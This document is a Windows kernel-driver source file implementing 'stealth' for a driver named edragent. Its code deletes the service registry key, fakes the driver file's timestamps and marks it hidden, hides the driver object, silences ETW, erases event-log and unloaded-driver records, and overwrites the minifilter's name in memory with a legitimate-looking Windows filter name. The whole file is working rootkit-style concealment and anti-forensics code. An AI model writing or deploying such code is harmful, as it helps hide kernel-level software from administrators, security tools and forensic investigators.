stealth.c

/*
 * stealth.c — Optional last-mile concealment helpers.
 *
 * These actions are best-effort only and must never be required for the
 * driver's mandatory startup path. Each step is guarded so remediation/debug
 * sessions can skip concealment safely, unsupported surfaces degrade to
 * no-op behavior, and the minifilter-specific masquerade stays isolated from
 * the rest of the concealment chain.
 */

#include <ntifs.h>
#include <fltKernel.h>
#include <ntstrsafe.h>
#include "edr_shared.h"
#include "core.h"
#include "utils/obj_hide.h"
#include "utils/etw_silence.h"
#include "utils/evtlog_clean.h"
#include "utils/mm_clean.h"
#include "utils/pg_safe.h"

static UNICODE_STRING g_DriverFileName = RTL_CONSTANT_STRING(L"edragent.sys");
static WCHAR g_ServiceKeyPath[256] = { 0 };

typedef struct _STEALTH_CONTEXT {
    PDRIVER_OBJECT DriverObject;
    BOOLEAN SkipForRemediation;
} STEALTH_CONTEXT, *PSTEALTH_CONTEXT;

typedef NTSTATUS (*STEALTH_STEP_ROUTINE)(_In_ PSTEALTH_CONTEXT Context);

typedef struct _STEALTH_STEP {
    PCSTR Name;
    BOOLEAN RequiresDriverObject;
    BOOLEAN RequiresFilterHandle;
    STEALTH_STEP_ROUTINE Routine;
} STEALTH_STEP, *PSTEALTH_STEP;

static VOID StealthLogStepResult(
    _In_z_ PCSTR StepName,
    _In_z_ PCSTR Result,
    _In_ NTSTATUS Status
);
static BOOLEAN StealthShouldSkipForRemediation(VOID);
static BOOLEAN StealthIsSafeSkipStatus(_In_ NTSTATUS Status);
static NTSTATUS StealthRunGuardedStep(
    _In_ PSTEALTH_CONTEXT Context,
    _In_ const STEALTH_STEP *Step
);
static NTSTATUS StealthRunIndependentSteps(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthRunMinifilterLastMile(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthPgSafeMasqueradeModule(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthDeleteServiceKeyStep(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthTamperTimestampStep(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthHideDriverObjectStep(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthEtwSilenceStep(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthEvtLogCleanStep(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthMmCleanStep(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthMasqueradeMinifilterStep(_In_ PSTEALTH_CONTEXT Context);
static NTSTATUS StealthDeleteServiceKey(VOID);
static NTSTATUS StealthTamperTimestamp(VOID);
static NTSTATUS StealthMasqueradeMinifilter(VOID);

NTSTATUS StealthInitialize(_In_ PDRIVER_OBJECT DriverObject)
{
    NTSTATUS status;
    NTSTATUS firstFailure = STATUS_SUCCESS;
    STEALTH_CONTEXT context;

    if (DriverObject == NULL) {
        return STATUS_INVALID_PARAMETER;
    }

    RtlZeroMemory(&context, sizeof(context));
    context.DriverObject = DriverObject;
    context.SkipForRemediation = StealthShouldSkipForRemediation();

    status = RtlStringCbCopyW(
        g_ServiceKeyPath,
        sizeof(g_ServiceKeyPath),
        L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\edragent"
    );
    if (!NT_SUCCESS(status)) {
        return status;
    }

    if (context.SkipForRemediation) {
        StealthLogStepResult("global-remediation-guard", "skipped", STATUS_SUCCESS);
        return STATUS_SUCCESS;
    }

    status = StealthRunIndependentSteps(&context);
    if (!NT_SUCCESS(status)) {
        firstFailure = status;
    }

    status = StealthRunMinifilterLastMile(&context);
    if (!NT_SUCCESS(status) && NT_SUCCESS(firstFailure)) {
        firstFailure = status;
    }

    if (NT_SUCCESS(firstFailure)) {
        StealthLogStepResult("initialize", "completed", STATUS_SUCCESS);
    }
    else {
        StealthLogStepResult("initialize", "completed-with-failures", firstFailure);
    }

    return firstFailure;
}

VOID StealthUninitialize(VOID)
{
}

static VOID StealthLogStepResult(
    _In_z_ PCSTR StepName,
    _In_z_ PCSTR Result,
    _In_ NTSTATUS Status
)
{
    DbgPrintEx(
        DPFLTR_DEFAULT_ID,
        NT_SUCCESS(Status) ? DPFLTR_INFO_LEVEL : DPFLTR_WARNING_LEVEL,
        "edragent: stealth %s %s (0x%08X)\n",
        StepName,
        Result,
        Status
    );
}

static BOOLEAN StealthShouldSkipForRemediation(VOID)
{
#if DBG
    return TRUE;
#else
    return FALSE;
#endif
}

static BOOLEAN StealthIsSafeSkipStatus(_In_ NTSTATUS Status)
{
    switch (Status) {
    case STATUS_SUCCESS:
    case STATUS_NOT_SUPPORTED:
    case STATUS_INVALID_DEVICE_REQUEST:
    case STATUS_NOT_FOUND:
    case STATUS_OBJECT_NAME_NOT_FOUND:
    case STATUS_OBJECT_PATH_NOT_FOUND:
    case STATUS_NO_SUCH_FILE:
    case STATUS_NO_SUCH_DEVICE:
        return TRUE;
    default:
        return FALSE;
    }
}

static NTSTATUS StealthRunGuardedStep(
    _In_ PSTEALTH_CONTEXT Context,
    _In_ const STEALTH_STEP *Step
)
{
    NTSTATUS status;

    if (Context->SkipForRemediation) {
        StealthLogStepResult(Step->Name, "skipped-remediation", STATUS_SUCCESS);
        return STATUS_SUCCESS;
    }

    if (Step->RequiresDriverObject && Context->DriverObject == NULL) {
        StealthLogStepResult(Step->Name, "skipped-missing-driver-object", STATUS_SUCCESS);
        return STATUS_SUCCESS;
    }

    if (Step->RequiresFilterHandle && g_FilterHandle == NULL) {
        StealthLogStepResult(Step->Name, "skipped-missing-filter-handle", STATUS_SUCCESS);
        return STATUS_SUCCESS;
    }

    status = Step->Routine(Context);
    if (StealthIsSafeSkipStatus(status)) {
        if (NT_SUCCESS(status)) {
            StealthLogStepResult(Step->Name, "applied", status);
            return STATUS_SUCCESS;
        }

        StealthLogStepResult(Step->Name, "skipped-unsupported", status);
        return STATUS_SUCCESS;
    }

    StealthLogStepResult(Step->Name, "failed", status);
    return status;
}

static NTSTATUS StealthRunIndependentSteps(_In_ PSTEALTH_CONTEXT Context)
{
    static const STEALTH_STEP steps[] = {
        { "pgsafe-masquerade-module", TRUE, FALSE, StealthPgSafeMasqueradeModule },
        { "delete-service-key", FALSE, FALSE, StealthDeleteServiceKeyStep },
        { "tamper-driver-timestamp", FALSE, FALSE, StealthTamperTimestampStep },
        { "hide-driver-object", TRUE, FALSE, StealthHideDriverObjectStep },
        { "silence-etw", FALSE, FALSE, StealthEtwSilenceStep },
        { "clean-service-event", FALSE, FALSE, StealthEvtLogCleanStep },
        { "clean-unloaded-drivers", FALSE, FALSE, StealthMmCleanStep }
    };
    NTSTATUS firstFailure = STATUS_SUCCESS;
    NTSTATUS status;
    ULONG index;

    for (index = 0; index < ARRAYSIZE(steps); index++) {
        status = StealthRunGuardedStep(Context, &steps[index]);
        if (!NT_SUCCESS(status) && NT_SUCCESS(firstFailure)) {
            firstFailure = status;
        }
    }

    return firstFailure;
}

static NTSTATUS StealthRunMinifilterLastMile(_In_ PSTEALTH_CONTEXT Context)
{
    static const STEALTH_STEP minifilterStep = {
        "masquerade-minifilter-last-mile",
        FALSE,
        TRUE,
        StealthMasqueradeMinifilterStep
    };

    return StealthRunGuardedStep(Context, &minifilterStep);
}

static NTSTATUS StealthPgSafeMasqueradeModule(_In_ PSTEALTH_CONTEXT Context)
{
    return PgSafeMasqueradeModule(Context->DriverObject);
}

static NTSTATUS StealthDeleteServiceKeyStep(_In_ PSTEALTH_CONTEXT Context)
{
    UNREFERENCED_PARAMETER(Context);
    return StealthDeleteServiceKey();
}

static NTSTATUS StealthTamperTimestampStep(_In_ PSTEALTH_CONTEXT Context)
{
    UNREFERENCED_PARAMETER(Context);
    return StealthTamperTimestamp();
}

static NTSTATUS StealthHideDriverObjectStep(_In_ PSTEALTH_CONTEXT Context)
{
    return ObjHideDriverObject(Context->DriverObject);
}

static NTSTATUS StealthEtwSilenceStep(_In_ PSTEALTH_CONTEXT Context)
{
    UNREFERENCED_PARAMETER(Context);
    return EtwSilenceInitialize();
}

static NTSTATUS StealthEvtLogCleanStep(_In_ PSTEALTH_CONTEXT Context)
{
    UNREFERENCED_PARAMETER(Context);
    return EvtLogCleanServiceEvent(L"edragent");
}

static NTSTATUS StealthMmCleanStep(_In_ PSTEALTH_CONTEXT Context)
{
    UNICODE_STRING driverName;

    UNREFERENCED_PARAMETER(Context);

    driverName = g_DriverFileName;
    return MmCleanUnloadedDrivers(&driverName);
}

static NTSTATUS StealthMasqueradeMinifilterStep(_In_ PSTEALTH_CONTEXT Context)
{
    UNREFERENCED_PARAMETER(Context);
    return StealthMasqueradeMinifilter();
}

static NTSTATUS StealthDeleteServiceKey(VOID)
{
    NTSTATUS status;
    HANDLE keyHandle = NULL;
    UNICODE_STRING keyPath;
    OBJECT_ATTRIBUTES oa;

    RtlInitUnicodeString(&keyPath, g_ServiceKeyPath);
    InitializeObjectAttributes(&oa, &keyPath,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    status = ZwOpenKey(&keyHandle, KEY_ALL_ACCESS, &oa);
    if (!NT_SUCCESS(status)) {
        return status;
    }

    WCHAR *subkeys[] = {
        L"Instances\\edragent Instance",
        L"Enum", L"Security", L"Parameters",
        L"Instances"
    };

    for (ULONG i = 0; i < ARRAYSIZE(subkeys); i++) {
        HANDLE subHandle = NULL;
        UNICODE_STRING subName;
        OBJECT_ATTRIBUTES subOa;

        RtlInitUnicodeString(&subName, subkeys[i]);
        InitializeObjectAttributes(&subOa, &subName,
            OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, keyHandle, NULL);

        status = ZwOpenKey(&subHandle, KEY_ALL_ACCESS, &subOa);
        if (NT_SUCCESS(status)) {
            ZwDeleteKey(subHandle);
            ZwClose(subHandle);
        }
    }

    status = ZwDeleteKey(keyHandle);
    ZwClose(keyHandle);
    return status;
}

static NTSTATUS StealthTamperTimestamp(VOID)
{
    NTSTATUS status;
    HANDLE fileHandle = NULL;
    IO_STATUS_BLOCK iosb;
    OBJECT_ATTRIBUTES oa;
    UNICODE_STRING filePath;

    WCHAR path[] = L"\\SystemRoot\\System32\\drivers\\edragent.sys";
    RtlInitUnicodeString(&filePath, path);
    InitializeObjectAttributes(&oa, &filePath,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    status = ZwOpenFile(
        &fileHandle,
        FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
        &oa, &iosb,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        FILE_SYNCHRONOUS_IO_NONALERT
    );
    if (!NT_SUCCESS(status)) {
        return status;
    }

    FILE_BASIC_INFORMATION basicInfo = { 0 };
    LARGE_INTEGER fakeTime;
    fakeTime.QuadPart = 133390080000000000LL;

    basicInfo.CreationTime = fakeTime;
    basicInfo.LastAccessTime = fakeTime;
    basicInfo.LastWriteTime = fakeTime;
    basicInfo.ChangeTime = fakeTime;
    basicInfo.FileAttributes = FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN;

    status = ZwSetInformationFile(
        fileHandle, &iosb,
        &basicInfo, sizeof(basicInfo),
        FileBasicInformation
    );

    ZwClose(fileHandle);
    return status;
}

#define FLT_NAME_SCAN_MAX   0x500

static const WCHAR FAKE_FILTER_NAME[] = L"storqosflt";

static NTSTATUS StealthMasqueradeMinifilter(VOID)
{
    if (!g_FilterHandle)
        return STATUS_INVALID_PARAMETER;

    PUCHAR base = (PUCHAR)g_FilterHandle;

    for (ULONG off = 0x10; off < FLT_NAME_SCAN_MAX;
         off += sizeof(PVOID)) {

        PUNICODE_STRING candidate = (PUNICODE_STRING)(base + off);

        __try {
            if (candidate->Length == 0 ||
                candidate->Length > 260 * sizeof(WCHAR))
                continue;
            if (candidate->MaximumLength < candidate->Length)
                continue;
            if ((ULONG_PTR)candidate->Buffer < 0xFFFF800000000000ULL)
                continue;

            UNICODE_STRING ourName =
                RTL_CONSTANT_STRING(L"edragent");
            UNICODE_STRING test;
            test.Buffer = candidate->Buffer;
            test.Length = candidate->Length;
            test.MaximumLength = candidate->MaximumLength;

            if (RtlEqualUnicodeString(&test, &ourName, TRUE)) {
                USHORT fakeLen = sizeof(FAKE_FILTER_NAME)
                    - sizeof(WCHAR);
                if (fakeLen <= candidate->MaximumLength) {
                    RtlZeroMemory(candidate->Buffer,
                                  candidate->MaximumLength);
                    RtlCopyMemory(candidate->Buffer,
                                  FAKE_FILTER_NAME, fakeLen);
                    candidate->Length = fakeLen;
                }
                return STATUS_SUCCESS;
            }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            continue;
        }
    }

    return STATUS_NOT_FOUND;
}